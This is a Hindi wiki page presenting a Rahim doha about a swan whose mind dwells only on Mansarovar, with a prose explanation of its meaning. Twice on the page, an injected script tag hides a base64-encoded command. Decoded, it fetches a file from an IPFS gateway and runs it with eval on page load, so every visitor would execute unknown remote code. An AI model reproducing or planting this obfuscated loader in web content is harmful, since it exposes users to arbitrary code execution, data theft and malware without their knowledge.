यद्यपि अवनि अनेक हैं -रहीम

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 11:48, 24 फ़रवरी 2016 का अवतरण ('<div class="bgrahimdv"> यद्यपि अवनि अनेक हैं , कूपवंत सरि ताल ।<br /> ‘...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

यद्यपि अवनि अनेक हैं , कूपवंत सरि ताल ।
‘रहिमन’ मानसरोवरहिं, मनसा करत मराल ॥

अर्थ

यों तो पृथ्वी पर न जाने कितने कुएँ, कितनी नदियाँ और कितने तालाब हैं, किन्तु हंस का मन तो मानसरोवर का ही ध्यान किया करता है ।


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>